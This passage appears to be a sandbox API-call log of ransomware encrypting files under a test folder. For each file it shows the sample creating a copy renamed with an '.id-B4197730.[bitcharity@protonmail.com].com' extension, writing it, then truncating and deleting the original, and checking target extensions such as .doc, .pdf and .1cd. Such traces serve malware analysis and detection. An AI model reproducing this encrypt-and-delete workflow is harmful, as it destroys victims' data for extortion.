"c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.757] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0134.757] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.757] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.757] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0134.758] GetLastError () returned 0x0 [0134.758] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x109e, lpOverlapped=0x0) returned 1 [0134.874] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0134.876] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.876] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xe4, lpOverlapped=0x0) returned 1 [0134.876] SetEndOfFile (hFile=0x10b8) returned 1 [0134.876] CloseHandle (hObject=0x10b8) returned 1 [0134.877] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.877] SetEndOfFile (hFile=0x10a4) returned 1 [0134.878] CloseHandle (hObject=0x10a4) returned 1 [0134.878] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.879] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0134.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.879] lstrlenW (lpString=".doc") returned 4 [0134.879] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.879] lstrlenW (lpString=".docx") returned 5 [0134.879] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.879] lstrlenW (lpString=".pdf") returned 4 [0134.879] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.879] lstrlenW (lpString=".xls") returned 4 [0134.879] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.879] lstrlenW (lpString=".xlsx") returned 5 [0134.879] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.879] lstrlenW (lpString=".ppt") returned 4 [0134.880] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.880] lstrlenW (lpString=".zip") returned 4 [0134.880] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.880] lstrlenW (lpString=".rar") returned 4 [0134.880] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.880] lstrlenW (lpString=".bz2") returned 4 [0134.880] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.880] lstrlenW (lpString=".7z") returned 3 [0134.880] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.880] lstrlenW (lpString=".dbf") returned 4 [0134.880] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.880] lstrlenW (lpString=".1cd") returned 4 [0134.880] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.880] lstrlenW (lpString=".jpg") returned 4 [0134.880] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.880] lstrlenW (lpString=".doc") returned 4 [0134.880] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.880] lstrlenW (lpString=".docx") returned 5 [0134.880] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.880] lstrlenW (lpString=".pdf") returned 4 [0134.881] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.881] lstrlenW (lpString=".xls") returned 4 [0134.881] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.881] lstrlenW (lpString=".xlsx") returned 5 [0134.881] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.881] lstrlenW (lpString=".ppt") returned 4 [0134.881] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.881] lstrlenW (lpString=".zip") returned 4 [0134.881] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.881] lstrlenW (lpString=".rar") returned 4 [0134.881] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.881] lstrlenW (lpString=".bz2") returned 4 [0134.881] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.881] lstrlenW (lpString=".7z") returned 3 [0134.881] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.881] lstrlenW (lpString=".dbf") returned 4 [0134.881] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.881] lstrlenW (lpString=".1cd") returned 4 [0134.881] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0134.881] lstrlenW (lpString=".jpg") returned 4 [0134.881] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.882] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0134.882] lstrlenW (lpString="LocalizedData.xml") returned 17 [0134.882] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0135.007] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=80060) returned 1 [0135.007] CloseHandle (hObject=0x10b8) returned 1 [0135.007] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0135.007] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0135.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0135.053] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.053] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0135.236] GetLastError () returned 0x0 [0135.236] ReadFile (in: hFile=0x1014, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x138bc, lpOverlapped=0x0) returned 1 [0135.365] WriteFile (in: hFile=0x10a8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x138c0, lpOverlapped=0x0) returned 1 [0135.369] ReadFile (in: hFile=0x1014, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.369] WriteFile (in: hFile=0x10a8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0135.369] SetEndOfFile (hFile=0x10a8) returned 1 [0135.369] CloseHandle (hObject=0x10a8) returned 1 [0135.373] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.373] SetEndOfFile (hFile=0x1014) returned 1 [0135.374] CloseHandle (hObject=0x1014) returned 1 [0135.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.375] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0135.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.376] lstrlenW (lpString=".doc") returned 4 [0135.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0135.376] lstrlenW (lpString=".docx") returned 5 [0135.376] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0135.376] lstrlenW (lpString=".pdf") returned 4 [0135.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0135.376] lstrlenW (lpString=".xls") returned 4 [0135.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0135.376] lstrlenW (lpString=".xlsx") returned 5 [0135.376] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0135.376] lstrlenW (lpString=".ppt") returned 4 [0135.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0135.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.376] lstrlenW (lpString=".zip") returned 4 [0135.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0135.376] lstrlenW (lpString=".rar") returned 4 [0135.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0135.376] lstrlenW (lpString=".bz2") returned 4 [0135.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0135.376] lstrlenW (lpString=".7z") returned 3 [0135.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0135.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.376] lstrlenW (lpString=".dbf") returned 4 [0135.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0135.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.376] lstrlenW (lpString=".1cd") returned 4 [0135.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.377] lstrlenW (lpString=".jpg") returned 4 [0135.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.377] lstrlenW (lpString=".doc") returned 4 [0135.377] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString=".docx") returned 5 [0135.377] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0135.377] lstrlenW (lpString=".pdf") returned 4 [0135.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString=".xls") returned 4 [0135.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString=".xlsx") returned 5 [0135.377] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0135.377] lstrlenW (lpString=".ppt") returned 4 [0135.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.377] lstrlenW (lpString=".zip") returned 4 [0135.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0135.377] lstrlenW (lpString=".rar") returned 4 [0135.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString=".bz2") returned 4 [0135.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0135.377] lstrlenW (lpString=".7z") returned 3 [0135.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0135.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.378] lstrlenW (lpString=".dbf") returned 4 [0135.378] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0135.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.378] lstrlenW (lpString=".1cd") returned 4 [0135.378] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0135.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0135.378] lstrlenW (lpString=".jpg") returned 4 [0135.378] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0135.378] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0135.378] lstrlenW (lpString="LocalizedData.xml") returned 17 [0135.378] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.309] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=79634) returned 1 [0136.310] CloseHandle (hObject=0x10b0) returned 1 [0136.310] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0136.310] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.310] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.310] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.310] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.310] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0136.310] GetLastError () returned 0x0 [0136.310] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x13712, lpOverlapped=0x0) returned 1 [0136.399] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13720, lpOverlapped=0x0) returned 1 [0136.402] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.402] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0136.402] SetEndOfFile (hFile=0x103c) returned 1 [0136.402] CloseHandle (hObject=0x103c) returned 1 [0136.406] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.406] SetEndOfFile (hFile=0x10b0) returned 1 [0136.407] CloseHandle (hObject=0x10b0) returned 1 [0136.407] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.408] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0136.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.408] lstrlenW (lpString=".doc") returned 4 [0136.408] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.408] lstrlenW (lpString=".docx") returned 5 [0136.408] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.408] lstrlenW (lpString=".pdf") returned 4 [0136.408] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.408] lstrlenW (lpString=".xls") returned 4 [0136.408] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.408] lstrlenW (lpString=".xlsx") returned 5 [0136.408] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.408] lstrlenW (lpString=".ppt") returned 4 [0136.408] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.409] lstrlenW (lpString=".zip") returned 4 [0136.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.409] lstrlenW (lpString=".rar") returned 4 [0136.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString=".bz2") returned 4 [0136.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString=".7z") returned 3 [0136.409] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.409] lstrlenW (lpString=".dbf") returned 4 [0136.409] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.409] lstrlenW (lpString=".1cd") returned 4 [0136.409] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.409] lstrlenW (lpString=".jpg") returned 4 [0136.409] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.409] lstrlenW (lpString=".doc") returned 4 [0136.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString=".docx") returned 5 [0136.409] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.409] lstrlenW (lpString=".pdf") returned 4 [0136.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString=".xls") returned 4 [0136.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.409] lstrlenW (lpString=".xlsx") returned 5 [0136.410] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.410] lstrlenW (lpString=".ppt") returned 4 [0136.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.410] lstrlenW (lpString=".zip") returned 4 [0136.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.410] lstrlenW (lpString=".rar") returned 4 [0136.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.410] lstrlenW (lpString=".bz2") returned 4 [0136.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.410] lstrlenW (lpString=".7z") returned 3 [0136.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.410] lstrlenW (lpString=".dbf") returned 4 [0136.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.410] lstrlenW (lpString=".1cd") returned 4 [0136.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0136.410] lstrlenW (lpString=".jpg") returned 4 [0136.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.410] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0136.410] lstrlenW (lpString="eula.rtf") returned 8 [0136.410] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.411] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=3046) returned 1 [0136.411] CloseHandle (hObject=0x10b0) returned 1 [0136.411] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0136.411] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.411] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.411] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0136.411] GetLastError () returned 0x0 [0136.412] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xbe6, lpOverlapped=0x0) returned 1 [0136.494] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0136.496] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.496] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.496] SetEndOfFile (hFile=0x103c) returned 1 [0136.496] CloseHandle (hObject=0x103c) returned 1 [0136.501] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.501] SetEndOfFile (hFile=0x10b0) returned 1 [0136.503] CloseHandle (hObject=0x10b0) returned 1 [0136.503] 